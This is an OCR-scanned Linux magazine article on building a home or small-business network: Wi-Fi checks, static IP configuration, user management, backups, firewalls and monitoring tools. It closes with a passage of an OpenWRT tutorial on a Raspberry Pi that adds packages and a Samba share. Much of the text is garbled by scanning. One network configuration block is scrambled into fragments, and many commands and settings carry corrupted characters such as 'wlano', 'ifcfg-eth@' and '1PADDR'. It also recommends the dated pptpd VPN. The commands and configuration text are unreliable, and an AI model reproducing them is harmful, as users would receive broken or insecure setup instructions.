users. However, this
does not mean that you
shouldn’t audit these
devices. Butwhen
you’re starting out, keep
the topology simple.
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The layout of your building will determine how your network
is arranged, and where various components are placed. For
instance, an older building with thick old walls will be quite
unsuitable for a single wireless router.

So, what solutions are available?

The first thing you should do is confirm the signal strength of
your wireless network in each room of your site. To do this, you
might use a rough estimate by testing how usable a mobile
device isin each room; or, for a better idea, run this command:

I iwlist wlano scan

(You'll need to swap wlan@ with the name of your own wireless
device.) This checks that the connection is up, and the available
maximum bitrate. Follow this with:

| watch -n 1 cat /proc/net/wireless

This will output a live update of the quality of your wireless link.
In particular, you'll be able to ascertain the signal-to-noise
ratio. This is a measurement that compares the signal

WI-FI'VERSUS
ETHERNET

The Wi-Fiversus Ethernet debate will rage on until
wireless networking is finally able to match the
reliability and speed of wired connectivity. As such,
you’ll need to come to a decision on which you will use.

For a home media-streaming scenario, using a cabled
connection from the NAS box to the router would seem
to be the wisest option. This will enable you to get the
best possible speed for high-definition video even if
you’re viewing on a wireless tablet. Ethernet cables
routed around your house or power-line adaptors are
the best solutions here.

In a small or medium business, meanwhile, switches
(essentially Ethernet cable splitters) will be needed to
ensure all of your desktop computers can connect to
the network. And it is via Ethernet that all non-portable
hardware should connect to the network.

However, there is an exception: printers. The use of
network printers means that few printers are required;
most offices have one or two at the most. These non-
portable devices can be just as effective with Wi-Fi or
Ethernet connectivity; where possible, as mentioned
elsewhere, assign a static IP address for reliability.

Above Starting and maintaining a detailed network
diagram will prove vital for planning future developments
and managing and auditing your network

strength with any background noise that might be caused
by other electrical equipment, such as microwave ovens or
cordless phones.

If, by now, you've noticed that quite a lot of planning is
involved here, you might want to consider creating a network
diagram. Your planned topology can be outlined using various
tools, in particular the browser app at www.draw.io.

Because wireless links are by nature slower than cabled
connectivity via Ethernet, however, if media streaming is
required across the network (or support for larger files), then
you may find that Ethernet is the best option.

Once you've established the strength of your wireless
signal, you can look into solutions to improve coverage.
For instance, the use of wireless repeaters will ensure
the signal is bounced around all parts of the structure.
Alternatively, you might prefer to combine the use of power-
line adaptors (which transmit data through the building’s
electricity supply) with one or more additional routers. If
you can overcome issues with black spots in the building
without drilling holes and threading Ethernet cables through
subducting, you should do so - especially if it avoids calling
out expensive engineers!

On the downside, power-line adaptors can be unreliable
with long-term use. Wireless can be slow (and is almost always
slower than Ethernet) in older buildings and where other
electrical equipment is found. It’s a balancing act to create a
fast, stable network.

The decision on what equipment to use, of course, is yours.



INITIATE BASIC SERVICES

Next up, it’s time to consider the hardware you'll be
using on your network. We're talking tablets, laptops,
desktop computers, servers, printers, smartphones,
perhaps even smart TVs here.

These everyday parts of the network should be easy to
use, without connectivity issues. It would be unfortunate
for approved guest users to be unable to access the
network to use their tablets; similarly, printers should
be accessible across the network you're building, unless
specifically restricted.

Each device on the network is assigned an IP address.
For a home network, this might be in the format
192.168.0.x, where x is the number assigned to a device.
For a network in a small business, you might opt to
assign an arbitrary range. This can be a good idea if you're
running network-monitoring software, to spot any devices
that have not been configured correctly (or if you're
struggling with a virus, worm or other malware infection).

You may find that some older hardware (eg network
printers) will not function correctly unless a static IP
address is assigned. This may be because they take longer
to boot, and are therefore assigned an IP address by the
router (a DHCP or dynamic IP address) after other devices
have booted and connected. Unlike tablets and PCs,

BORT
FORWARDING

Network address translation, or port forwarding, is a
simple idea with many applications. All it does is forward
requests for ports outside a firewall to the right server or
computer inside the firewall. It has various applications,
from online gaming and media streaming to hosting
websites and making files accessible. Note that it works
more reliably with a static IP address from your ISP,
rather than an ever-changing dynamic IP address; a
static IP will also be required for the target computer.

What this means is that if a colleague is working
remotely, they can take advantage of port forwarding to
access a computer on the network. This is all managed
via the router, where you’ll need to access the advanced
settings to set up port forwarding.

For instance, if a remote user needs to access a PC
with the static IP of 192.168.1.17, then this would be
assigned a port number, perhaps 123. Connecting to
the external static IP with the port number would then
afford access to the computer, which will require the
usual login credentials.

Before introducing the feature, be sure to check it
works at www.yougetsignal.com.

network printers and servers need to retain the same IP
address in order to support a reliable connection.

In most cases, you'll find that DHCP addressing is
consistent and reliable, and that devices requesting
access are awarded it quickly. Assuming they have the
right passcode, of course.

For access to be given, you may prefer devices to
connect directly through the router. As long as the
device in question is configured as per the network
requirements,  this  should be  straightforward.
Alternatively, you might prefer to enable the router’s
built-in guest access system, although this can result in
drive by bandwidth theft. Installing the DD-WRT firmware
on your router is a good way to manage this, and you can
team it with a basic www.hotspotsystem.com account
to bounce new connections to a usage agreement page
and log their activity. You can even block particular
website categories.

The most important aspect of managing IP addresses
is ensuring your hardware is usable. Otherwise, you may
need to look into additional options available with your
DNS, such as port forwarding.

As you manage your new IP addresses, make sure you
keep note of them!
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DNS

In order to manage
your network’s ability
to connect to the
internet efficiently,
you’ll need to ensure
that DNS is correctly
configured. PCs and
other servers should
be using internal
DNS servers, as
opposed to those on
the internet.
Instead, the DNS
server should be
forwarding toan
external DNS server
to find requested
addresses. Typically
this will be via your
business’s ISP, but
public DNS servers
such as those offered
by Google (where
the IP addresses are
8.8.8.8and 8.8.4.4)
can also be used.

gy -

Above When planning your network, do not overlook the importance of devices like network

printers and scanners. Reliability will be increased with wired connections
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CONFIGURE IP ADDRESSES
AND THE INTERNET GATEWAY

PROXY
SERVERS

For businesses
comprising more
than afew people,
itisagoodideato
setupandusea
proxy server. This is
essentially a server
thatactsasan
intermediary between
aserver or computer
and theinternet.
Proxy servers can
be used to manage
the likelihood of
security breaches, for
example, by providing
a ‘fake’ publicly
facing server.
Thereisanother
use for proxy servers,
however: managing
theinternetaccess
of your colleagues.
While proxies can
help to balance
outgoing trafficona
busy network, their
main use is probably
in controlling what
your colleagues are
viewingonline.
Undesirable,
NSFW content can be
blocked from viewing,
as can gaming sites
and social networks.
Unauthorised and
suspicious behaviour
(perhaps by malware)
can also be observed
viaa proxy server.
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GNU nano 2.5.3 File:

etc/network/interfaces

Modified

# interfaces(5) file used by ifup(8) and ifdown(8)

auto lo
iface lo inet loopback

auto etho

iface eth® inet
address 192.168.
netmask 255.255.
gateway 192.168.

atic
2

t

a5
55
0.

s
5
2
5

[
o

Above Maintaining a consistent addressing system for your hardware is important. Services may
be inthe x.x.x.10 range, for example, with client devices starting at x.x.x.20

By default, your router or domain name server will
assign IP addresses automatically, or dynamically. This
system of assigning numbers is called DHCP and typically
uses the 192.168.0.1 address to access the internet, while
all devices on the network are given addresses from
192.168.0.2-192.168.255.255.

We've already seen that custom DHCP ranges can be
assigned, but what of static IP addresses? These are
addresses that are assigned manually. In most cases you
won’t need them, but in some scenarios it can prove useful.

If you want to use a static IP address for any device,
you'll typically need to set this manually within the device
controls. Network printers in particular can benefit from
having a static IP address assigned. If the network goes
down for any reason, you want these devices to retain
their IP address - if not, it’s time for some time-consuming
reconfiguration to ensure they’re reachable from every PC
and tablet on the network.

For example, on Linux network printers, you can use the
CUPS interface to set the static IP.

Similarly, a static IP address can be setup for any
network-attached storage (NAS) or other servers on your
network. If these are Linux devices, open the appropriate
configuration file and edit it. For Ubuntu, Debian and Mint,
this will mean opening:

[l sudo nano /etc/network/interfaces
...and adding the following:

I auto etho
l| iface etho inet static

Above Linux comes with various network-checking and
reconfiguration tools already builtin. These can be quickly run from
the command line

J| address 192.168.50.2
[ netmask 255.255.255.0
[l sateway 192.168.50.1

Be sure to swap both instances of ethO with the name of the
network interface you're editing! Enter your own address and
gateway values, too. Remember to save before exiting.

For Fedora, edit with vi.

I vi /etc/sysconfig/network-scripts/ifcfg-eth@

Here, ensure the following lines are included, including the
IPADDR value:

[} DEVICE="ethe"

J| BOOTPROTO=static

| onBOOT=yes

| TYPE="Ethernet”

J| 1PADDR=192.168.50.2

I NAME="System etho”

J| HWADDR=00:0C:29:28:FD:4C
| GATEWAY=192.168.50.1
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Above Network monitoring solutions can be used to detect suspicious activity on your network and uncover vulnerabilities, rogue applications and more

With this added, save the file.
(For diagnostic reasons, it's worth mentioning that Linux will
letyou change an IP address on the fly, with:

I ip addr add 192.168.50.5 dev ethl

Note, however, that this will be reset when the device
isrebooted.)

In both cases, you'll probably find that the computer
requires rebooting to ensure the static IP address is
picked up, particularly if you don’t notice an improvement
right away.

It's almost unheard of for a network to be (re)configured
without any issues. As such, you'll need to be aware of
several useful commands. A standard ifconfig can be
enhanced with ip address show, while traceroute [URL/
IP] can be prove very useful in helping you to find problems
on the network between two devices.

For further troubleshooting, you can clear an IP address
from a specific wireless device. If you're having trouble
changing an IP address, this can prove useful.

| sudo ip addr del [IPADDRESS] dev [DEVICE]

Network monitoring tools can also be used for
troubleshooting issues on your network. For instance, if
you want to keep tabs on the activity of Apache, MySQL,
SSH and other connected services, then you should
install Monit.

Meanwhile, if there are concerns about rogue
applications (malware or poorly programmed tools)
eating up network bandwidth, then Nagios is capable of
monitoring each network process on your entire system.
Despite its evident wealth of options, Nagios can even be
run from a lowly Raspberry Pi!

NETWORKTOOLS

To keep tabs on what is happening on your network, you’ll need to embrace
various network tools. These will be Linux tools that are capable of monitoring the
behaviour of data and devices — regardless of what operating system is in use on
those devices.

A great number of Linux-compatible tools are available, however, so the trick here
is to find a tool that does what you need and stick to it. With so many alternatives,
itis all too easy to end up being sucked into a cycle of download-and-test. The best
options are to find reliable general network tools, or use an individual utility for
each purpose.

We’ve mentioned Nagios in the main article, but for an automated network-
mapping solution, you should take a look at Nmap. As well as discovering servers,
Nmap will detect other devices, the OS running on them, and any running services.
Nmap can also find vulnerabilities on your network, and has support for third-party
scripts. For the best result, it should be run with the graphical interface Zenmap.

It’s also wise to run a data packet sniffer on your network. Wireshark is a good
example of this, and is available from the wireshark-dev PPA or as a package via
wireshark.org. With Wireshark installed, you can capture traffic passing through any
network interface, and analyse it. This is a good way of spotting suspicious activity,
perhaps from malicious software such as Trojans and keyloggers, and tracing their
origin and destination. Wireshark can be extended with plug-ins if necessary.

Whether you’re concerned about the quality of your network’s wireless signal
or want to detect what information is being leaked, Kismet is always a good tool
to have around. Kismet uses a passive sniffing technology, and has a three-part
infrastructure: probe, server and client. Simply, the client displays the information
sent to the server by the probe.

Further security monitoring can be added to your Linux small business network
with dsniff, a collection of tools designed for auditing and penetration testing.
These tools can cause problems if misused, so should be applied as intended by the
developer - to audit networks and demonstrate insecurities and vulnerabilities.

Any or all of these monitoring tools can be used on your Linux network. But just as
important is ensuring that a sensible network usage policy is implemented across
the business. Network security and reliability is the responsibility of all users, not
just the system admin. The more your colleagues understand about safe and secure
network use, the better!
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Group collaboration in the workplace is made possible
thanks to network shares, which can be thought of as
remote hard disk partitions that can be accessed from
anywhere on a network. They’re found in virtually all
business networks. Home media streaming, meanwhile,
from a central computer to your TV or tablet, is a great way
to use an often-idle domestic network.

For media streaming, the best solution is a NAS box.
To manage this device — which might be a custom-built
server, a Raspberry Pi-powered system or a dedicated
NAS box with two or four hard disk drives installed -
you'll need an operating system. While you might use
Ubuntu Server or CentOS for this, NAS boxes benefit
from more focused media management. As a result, the
best solution is OpenMediaVault (OMV). Available from
www.openmediavault.org, OMV is a Debian-based server
distro that can be installed on most Linux-compatible
hardware. There’s even a Raspberry Pi 3 version.

For the best results, however, you should be using
hardware that supports RAID 1 (an acronym for redundant

array of independent disks). This is a redundancy system
that means that when a hard disk fails, the data is
retained on a twin device, where the data is mirrored.

In terms of hardware outlay, this will mean using two
identical HDDs, of the same manufacturer, capacity
and speed. While it may initially seem expensive and
somewhat pointless to fill two identical HDDs with exactly
the same data, it really is a superb solution. RAID 1 (and
its variants) is used extensively in small, medium and
enterprise-standard businesses and organisations, and
given that it is comparatively cheap to implement, it's a
great way to ensure the longevity of your data.

For business users looking to develop a modest office
network into something more streamlined, you might use
a version of Ubuntu Server with additional components
added to suit, or an out-of-the-box office-centric server
solution. Two good options are available here.

First of all you should take a look at ClearOS, which
comes in three flavours: Community, Home and
Business. The latter two are paid (fee includes support),
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Above Using the RAID 1 disk mirroring system is a good choice for
avoiding hard drive failures, especially for development of projects
requiring high-performance storage

whereas the first is free, but not intended for production
use. ClearOS is a feature-packed server solution, and
where features appear to be missing then you'll almost
certainly find an add-on that will do the job. Among
the official and third-party add-ons for ClearOS you'll
find support for OpenlLDAP, Windows Server Active
Directory, Google Apps Synchronization and even
Kaspersky Anti-Virus.

The second option you should take a look at is Zentyal,
an Ubuntu-based office server previously known as eBox.
Zentyal is available as a free Development Edition, while
there is a 30-day trial of the paid Commercial Edition. A
Zentyal server can be configured to incorporate all of the
network services you would expect in a small and medium
business environment, such as a directory and domain
server, mail server, internet gateway and infrastructure
(DHCP server, DNS, VPN support, and Certificate
Authority management).

Perhaps most important of all, however, is the setting
up of a shared space for you and your colleagues to
collaborate. This might be a cloud-style solution available
from anywhere within your offices, but should be reliable
and accessible at all times. Such network shares may also
be made available to guest users, but it is important to
provide them with the compatibility to run with non-Linux
devices. As there is a fair chance of Windows hardware
being attached to your network, ensuring that your

server software uses Samba will guarantee that Windows
devices can access network shares.

Unlike with a media server, you probably don’t want a
standard NAS box running your office server. However,
you will want to use the RAID 1 configuration. A small
office server can easily be established with a standard PC
tower, with space for multiple hard disk drives to be fitted.
As long as the motherboard has RAID 1 support, and the
device is connected via Ethernet cable to your network,
this is the place to start (check earlier in the article for an
illustration of where the server should be placed in the
network topology). For medium (and larger) businesses,
however, dedicated server hardware is recommended.

With the server set up and a RAID solution in place,
you'll need to confirm one final piece of hardware is
working correctly before turning your attention to security.
Data is streaming across your network, but what happens
during a power failure? With portable devices with long
battery lives, work can continue, but what can you do to
keep a server up and running?

Here, you'll need to consider a UPS, or uninterruptible
power supply. Different solutions are available depending
on the type of hardware that is being covered, but they’re
all basically rechargeable batteries that act as surge
protectors and manage the flow of electricity to a PC or
server. No network server is complete without one!

Back-Ups

700

Below A power failure
can prove devastating
to your stored data.
Maintaininga UPS
solution will prevent your
server going down and
potentially losing data
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Once your network is live, your media or work projects will
need to be protected from access from outside the network.
They should also be restricted to devices and users that
have been approved for use on the network.

Regardless of whether you're looking for a solution for
streaming movies, TV shows, music and photos across your
home network, or trying to establish a shared network space
for developing projects with colleagues, there is a single
concept that underlines everything that you do: security.

To manage security on your network, you'll first need to
ensure that every user has a username and password. These
should be set up on the server’s command line using:

[ useradd [usernamel

By default, a network home drive — which should typically be
used in place of the local hard disk drive’s Home folder — will
be created in the /home directory on the server. So if you set
up an account with the username ‘awesome’, the network
home folder would be /home/awesome/. With this done, use
the passwd command to set a password:

[ passwd [usernamel

Secure passwords must be set here, of at least eight
characters. These will be stored in an encrypted file on
the server. As a server admin, you'll be able to force-reset
passwords and set a password expiry period. You might do
this using a dedicated admin interface, or use the terminal
to edit /etc/login.defs in nano or vi. Once opened, look for
PASS_MAX_DAYS, PASS_MIN_DAYS and PASS_WARN_AGE
and edit the parameters to suit. The best option is to
change PASS_MAX_DAYS to 30 to force a 30-day password
resetcycle.

User management on a network is best achieved by
placing users into groups. These groups can then be assigned
permissions based on their requirements. For instance, a
particular group might have access to an additional network
share where business-sensitive material is stored.

To create a group, use groupadd, assigning a group number
with -g Group_ID and a name with Group_Name.

I groupadd -g [Group_ID] [Group_Name]

You can then add new users to groups at the point of creation.
To create username ‘awesome’ and add it to the group
‘managers’, use:

[l useradd -G managers awesome

Note that you can comma-separate multiple user groups.

With accounts, network home folders and network
shares created and groups assigned, everything should
be running fine for all members of the team. But what if
someone needs access from outside the network? How
can the director get the document she left behind when
everyone is at home asleep? The solution is to enable remote
access to the network, and this is best done using a VPN
solution. Virtual private networks are typically used to create
a safe, encrypted business network across multiple sites.

You can add VPN support with pptpd. It's a good idea to add
Uncomplicated Firewall at the same time, with:

J| sudo apt-get install pptpd ufw

The thing to remember here is that you will be creating a
secondary, secure network that ‘sits’ upon the existing
infrastructure. But it may not be necessary — if you have
third-party cloud storage, for instance, this would largely
negate the use of a company VPN. The same goes for using
a third-party service for email (such as Google Mail). If the
requirements of the network are that all of these things
should be provided in-house across multiple sites, then a
VPN is the best solution.

Above Help to maintain a secure network by ensuring that users reset
their passwords regularly. 30-day reset periods usually work well



AUTOMATE NETWORK BACKUPS

If you're using a NAS box and a RAID 1 HDD arrangement for
your media files, it's extremely unlikely that you'll need to
make regular backups of the data. For small and medium
business network servers, however, daily backups will
be necessary.

As we've already established, users should be saving all work
to their own network-based home directory. This doesn’t just
make sure that their work is safe in the event of a computer
failure or theft — it's also a great strategy for ensuring that all
vital data is backed up. Similarly, files and directories on network
shares will be subject to regular backups.

Before you settle on a tool for backups — see the boxout for
some details on how to use rsync for this — it's important to
consider how regular these will be. After all, there’s no point
in running weekly backups if your colleagues are working on
multiple files every day (on the other hand, it is a good idea to
run a weekly backup in addition to another schedule). Similarly,
running multiple backups each day will slow down your network
serversand frustrate the team.

The best option is to schedule backups to run when no one
is working, and no one needs to work. As such, a time between
9pm and 5am is probably best, with 12am-4am the optimum
window. With your schedule established, you'll need to decide on
whether to make full orincremental backups.

As hinted above, weekly backups are a good idea, and this
is when you'll probably want to run a full backup of network
shares and home drives (not to mention the server 0S). For daily
backups, however, the less resource-intensive incremental
backup is a better tactic. Instead of backing up everything
on the server’s storage — essentially creating a copy of every
single file, every single day — an incremental backup simply
backs up modified and new files and directories. This saves

Above If you’re not using
cloud storage, backing up
your server-based data to
magnetic tape is a better
option than Blu-ray or HDD

time and resources — and if data is lost or changed, it can be
quickly restored.

But where are you backing up to? DVD is one solution, as is
a device with (removable) HDDs, or a remotely administered
cloud account. The best results, however, can be with magnetic
tape, especially if your business has an off-site storage facility.
In most cases, though, using cloud storage for your backups
should be enough. Just make sure your network is capable of
handling the data transfer and the business internet bandwidth
isn't capped!

USERSYNC

Arriving pre-installed on many distros is the rsync
command-line backup tool (if you prefer GUI tools, try
Grsync), which can be used to schedule and run backups
on your network server.

Capable of creating clones of data, directories and
drives, rsync uses the following command format:

rsync -r -u -v ~/Source-Folder/ ~/Copy-Folder

Here, you can see the contents of the Source-Folder will
be copied to the Copy-Folder. Correct directory names,
case and file paths must be used. The switches are -r:
recursive, -u: update (don’t overwrite more recent files)
and -v: verbose (displays status on screen).

So much more can be done with rsync, from -—exclude
to omit a folder from backup to using -z to compress the
backup file. Use -h to see a full explanation of functions.

www.linuxuser.co.uk
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Above Hardware firewall solutions are almost always found in
business networks, although the functionality can also be found in
domestic routers

Backups are vital for disaster recovery. Such a disaster
might be a fire or hardware failure - or a security breach.
With your users all given their own accounts, spotting an
intrusion should be simple. Sadly, it doesn’t always turn
out this way.

On a home network, a typical modem/router will double
as a hardware firewall. While there is nothing wrong with
this, all connected computers should also run their own
firewall software, to make doubly sure that intrusions are
not permitted.

Home users will also want to look at the configuration
on their routers. Are default settings being used? Is there
a software vulnerability that allows access to the network
from unauthorised users? Look into potential weaknesses
and ensure that the router is as secure as possible.

For a business network, a dedicated hardware
firewall is a good idea; these can cost upward of £300.

Compatible with all operating systems and offering VPN
and certificate authority management (as well as content
filtering, encryption and secure SSL support), these
devices are vital for a secure business network in a world
where cybercrime is discovering new and inventive ways
to steal data and make money.

For a new Linux-based network in a small or medium
business, network monitoring tools are vital. We
mentioned Monit and Nagios earlier, and it's a good idea
to run a dedicated device specifically for running Nagios
and monitoring your network. After installation, some
configuration is required with this tool. Several features are
available, such as network device visualisation with NagVis,
and the Services and Disks screens, which offer the ability
todrill down through network and hardware activity.

However, you'll need to use the Nconf tool to first
configure your Nagios setup. This requires that you add
hosts — just add the IP address of the devices you wish
to monitor, and any tests you wish to run (such as Ping
to check a device is online) and click Submit. Follow this
with Deploy Nagios Config, then Deploy to complete. The
results can be found in the Services view.

Of course, there’'s more to network security than
firewalls and monitoring. And as you’re running one or
more Linux servers, you need to be aware of the risks of
viruses, worms, Trojans and other malware. While Linux
desktops might be largely immune from infection, the
majority of internet servers run Linux. Cybercriminals
are out there and are targeting businesses, perhaps by
stealing sensitive data or holding a server to ransom
with ransomware.

In 2016 some nasty Linux-targeting ransomware
attacks took place, with one in particular demanding two
Bitcoins to release a Linux server. This is a very real threat,
and demands that you have sufficient security on each
device on your network to overcome it. While open source
solutions like chrootkit and ClamAV are attractive, your
small or medium business Linux network might benefit
more from a proprietary solution such as ESET, Sophos,
Comodo or Bitdefender.

Whichever anti-malware solution you end up using on
your Linux computers, ensure that it is regularly updated
and tested. Testing of an anti-virus solution can take place
on a dedicated, offline air-gapped computer, or within a
virtual machine.

These tools will also prove vital when Windows
machines are added to the network. Similarly, infected
removable storage from a Windows PC which is then
inserted into a Linux PC can also be dealt with.
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OpenWRT

Run services
on OpenWRT

Add applications to your router
and provide network services

Even though the deployment of more devices adds
redundancy to a system, a router failure can eliminate
the entire network. This makes it an ideal host for various
services: if the router fails, no one cares about the rest.

Even though some time has passed since our last look
at OpenWRT, the router platform nevertheless remains
highly interesting. This tutorial will show you how to use the
package manager found in the OpenWRT distribution to add
to the various applications to your router just as if it were a
normal computer or a workstation. This allows you to use
the router to provide a variety of network services that,
otherwise, require the presence of a dedicated PC.

Reducing the total power dissipation in an office is
sensible for multiple reasons. First of all, there is obviously
the lower bill for energy. Second, especially in summer,
eliminating power dissipation leads to a significantly more
comfortable environment; at a prominent Austrian ad
agency, room temperatures became unbearable when
multiple workstations were powered up at the same time.

Even though OpenWRT can also be run on dedicated
routers, we will stick to the Raspberry Pi once again. As in
issue 166, we will use the Raspberry Pi 2 as it provides the
best balance of features: the Raspberry Pi 1’s lackadaisical
processor does not bring a dedicated floating-point unit,
which causes significant performance losses when handling
large applications (and encryption). The Raspberry Pi 3 has
shown itself to be thermally unstable in tests. In addition to
that, its Wi-Fi range is poor in comparison and is not officially
supported by the ready-to-download OpenWRT images.

We will use a USB Ethernet dongle to add a second
network port to the assembly. The example used here was

produced by I-TEC, its lsusb output looks like this:

B ~$ 1lsusb

1. ..
ll Bus 002 Device 016: ID 0b95:772b ASIX
Electronics Corp. AX88772B

The image used in the following steps can be downloaded
at http://bit.ly/2k0lUXb. You will need to burn it to an SD
card of your choice, as most routers have very small flash
memories. The following steps used an 8GB SD card — this
will be plenty memory for most, if not all, applications
involving OpenWRT.

Next, power up the process computer. Its OpenWRT
instance must be configured to access the internet; we
covered the development process in issue 166, and cannot
discuss it once again here, so look back at that issue if you're
unsure of the process.

You're welcome HERE
Deploying UNIX packages should not be new to seasoned
readers of Linux User & Developer: not having to compile
code by hand is really comfortable. Sadly, large packet
managers such as apt-get are not well suited to embedded
environments: keep in mind that our Raspberry Pi's 8GB
of storage is an anomaly in this context, with most routers
having to make do with four, eight or 32MB of flash memory.
Due to this, a dedicated package manager solution called
OPKG is used instead. As package repositories can take
up a bit of memory, the first step to package management
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goodness usually involves updating the existing repository
catalogue like this:

I root@penWrt:/# opkg update

ll Downloading . . .
I Signature check passed.

As package information can be quite large, be aware that
OPKG stores its working data in a RAM drive: this can be a
problem if you find yourself running out of memory, and also
causes grief after areboot.

For us, however, this is not so relevant at this time. We will
focus on downloading a prepackaged version providing a more
comfortable alternative to the VI editor. A naive approach would
involve entering the following commands:

l root@Openirt:/# opkg install nano

I Unknown package 'nano’.

Collected errors:

I * opkg_install_cmd: Cannot install package nano.

Even though the usage of OpenWRT's package manager is,
in theory, quite simple, the product does show its teeth. The
package cannot be found - a problem that can be analysed
further by opening the relevant package repository. In the
case of the Raspberry Pi 2, it can be found at http:/bit.
ly/2jF7uHK. As of this writing, that repository contains the
group of sub-repositories, which can each be opened in a
dedicated browser tab to reveal that nanois, indeed, MIA.
Fortunately, a clever coder by the name of Vlad Panazan has
kindly provided a replacement package described in a blog post

compile the image
yourself, which
takes quite a bit

of time and is not
discussed in this
part of the tutorial.

RX Rate
18,0 Mbit'z, MCS 0, 20MHz
13.0 Mbit's, MCS 1, 20MKz
48.0 Mbu's, MCS 0, 20Mikz

11.0Mbitis, MCS 0, 20MHz
26.0 Mbi's, MCS 3, 20MHz
48,0 Mbits, MCS 0, 200z

found at http://bit.ly/2]TNZKS. It can be downloaded using the
wget command:

I root@penWrt:/# wget http://vlad.panazan.ro/files/
nano_2.3.6-1_brcm2708.ipk

I Connecting to vlad.panazan.ro (188.215.50.203:80)

ll nano_2.3.6-1_brcm270 100% | ok —
*kKkkxk| 28301  0:00:00 ETA

[l rooteopenirt: /#
Installing it can be done via OPKG via the following options:

I root@penWrt:/# opkg install nano_2.3.6-1_brcm2708.
ipk

An interesting detail is that OPKG will download some missing
dependences from the public repository. When done, nano can
be opened up normally — as OpenWRT is just another version
of Linux, the program will behave just as if it were running on a
traditional workstation.

What's there, and what's missing

At this point, you might be interested to find out more about how
many packages the OpenWRT team actually provides for the
Raspberry Pi 2. This can be accomplished by using the OPKG
listing command: by default, it outputs one line for every package
available, consisting of both install name and any description the
package author was willing to provide. Piping its output to WC
leads to the following result:

[l root@penwrt:/# opkg list | wc
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his head due toa
similar problem!

34

OpenWRT

I 95 14086 101236
WC'’s - the acronym stands for ‘word count’, not for the powder
room — output line informs us about the number of lines found
in its input. As of this writing, a total of just over 970 packages
are available for OpenWRT on the Raspberry Pi. On other
architectures, you have access to significantly more packages.
As parsing these lines by hand is difficult, let us introduce you
toaniftytrick that allows you to find out more about the available
packages. The output of OPKG can easily be redirected into grep,
which can then be made to look for a specific string. This can
be used to reveal significant shortcomings in the image — for
example, searching for the GCC compiler reveals the following:

[ root@openirt:/# opkg list | grep -i gcc
I libgcc - 4.8-linaro-1 - GCC support library
[l rooteopenirt: /#

Looking at the output above unearths an uncomfortable truth:
currently, no package containing the GCC compiler is available.
Compiling a custom image — a question for the next part of the
tutorial — can solve this problem. For now, we will instead try to
work with the available materials.

Share storage

As companies grow bigger, processes tend to break down — the
failure of Research In Motion/Blackberry is attributed by many
pundits to a failure in scaling internal processes to keep up
with growth. One common pain point that starts to become a
nuisance as you add employees is the sharing of files, as a USB
stick will either be lost or misplaced.

Fortunately, an OpenWRT-enabled Raspberry Pi can be used
to help out via the Samba file sharing system. The first step
to this involves the provisioning of external memory. For the
following steps, a USB stick is convenient: its power drain is not
particularly large, thus ensuring that the power supply of the
process computer will not be overloaded. Simply plug the USB
stick into the router, and enter the following command to find out
whether it was detected:

l root@openwrt:/# df

Jl Filesystem 1K-blocks Used Available
Use% Mounted on

I rootfs 47636 8236 38420 18% /
l /dev/root 47636 8236 38420 18% /

I tmpfs 476556 616 475940 @% /tmp
 topfs 512 0 512 0% /dev

Annoyingly, USB support is not installed completely in the
default image. This can be proven in the output of the df
command, which does not list storage space found on the stick.
Using the lsusb command can check the presence of the USB
stick in the USB device tree. Sadly, this is also not installed by

default and must, instead, be deployed and installed using the
following code:

I root@penWrt:/# opkg install usbutils
I Configuring usbutils.
[l root@openwrt:/# 1susb

I Bus 001 Device 006: ID 13fe:4200 Kingston Technology
Company Inc.

Il root@openwrt: /4

Be aware that the opkg search command is limited to analysing
packages that are already installed on your router: the
result below will be emitted only if lsusb's host package was
successfully installed beforehand:

I root@penWrt:/# opkg search /usr/bin/lsusb
[l usbutils - 007-1
[l root@openirt: /#

Installing the missing components can then be accomplished via
the well known command sequence:

I root@penWrt:/# opkg install kmod-usb-storage
I root@penWrt:/# opkg install kmod-fs-msdos
I root@penWrt:/# opkg install kmod-fs-udf

At this point in the tutorial, an interesting concession to the
limited storage space of the average router will rear its head; the
various file systems come in the form of independent modules.
This means that you can mix and match between space usage
and universal flexibility.

Be aware that the new modules become active only after the
reboot of the system. OpenWRT goes its own way in this regard:
instead of the sudo shutdown command usually used under
UNIX;, the reboot is instead handle like this:

I root@openirt:/# reboot

In an ideal case, running df another time will inform you that the
partition of the USB stick has now been mounted and is ready
for service. In practice, the framework will usually not be able to
mount the new drive automatically.

I [ 953.464239] FAT-fs (sdbl): codepage cp437 not
found

In many cases, this approach is enough to ensure reliable
mounting of a USB stick. Should this not be the case for some
reason, a workaround exists: enter the following command to
mount the USB stick's first partition at a mount point, which
must of course be defined previously.



[l root@0openirt:/# mount /dev/sdal /mnt/stick/

ll mount: mounting /dev/sdal on /mnt/stick/ failed:
Invalid argument

In most cases, the manual mount will also fail. In the next step,
use the dmesg command to get further information on why the
mounting process could not be completed. A very common
cause for problems is missing one or more code pages in the
kernel, which must then be installed just as if they were any
other packet.

Dance some Samba!

With that out of the way, it is time to actually deploy Samba.
This is a bit problematic, as the product tends to come in
different versions, which affect the name of the package to
be downloaded. Fortunately, the following instructions list all
available packages:

I root@penWrt:/# opkg list | grep -i samba

[l samba36-client - 3.6.25-5 - Samba 3.6 SMB/CIFS
client

[ samba36-server - 3.6.25-5 - The Samba software
suite . . .

In our case, you don‘t need to install both parts — the server is
enough, as the Raspberry Piwill never need to connect to Samba
shares provided by other systems. After running OPKG, it is time
to configure the newly deployed server.

By default, its settings are found in the https://wiki.openwrt.
org/doc/uci/samba"/etc/config/samba file - the nano instance
installed here comes in really handy. Be aware that changes are
accepted only after running /etc/init.d/samba restart - this is a
shortcut that will spare you from having to perform a complete
reboot everytime.

Samba’s configuration file is text-based. The first part
declares the structure of the server in general: the most
important thing is setting the name of the workgroup and the
home attribute. If it is set to 1, the user’s home directories, by
default, will be shared:

ll config samba

I option 'name’ 'Openirt’
I option 'workgroup’ "WORKGROUP'’
l option 'description’ 'OpenWrt’
I option 'homes’ T’

B Routers running
OpenWRT can easily be
expanded with a variety of
different programs &M

I option 'interface’' 'loopback lan'

The next stage involves the configuration of the actual shares.
We use the previously mentioned mount point to create a new
share going by the name of Stick:

[l config 'sambashare’

I option 'name’ 'Stick’

I option 'path’ /mnt/stick’
I option 'guest_ok' 'yes'

I option ‘create_mask’ '0700’
I option 'dir_mask’ 'e70@’

I option 'read_only’ 'yes'

With that out of the way, restart Samba and connect to it. This is
best accomplished with Ubuntu: open a new Nautilus window,
click on the Connect to Server option and wait for the popup
dialog to appear. In the next step, proceed to entering smb:/Kip>.
Finally, click the Connect button to see the contents of our server
- ifyou needtologin, simply use the anonymous option.

Keep in mind that the mounting of the USB stick must be
made constant if you want to use the server reliably; if you mount
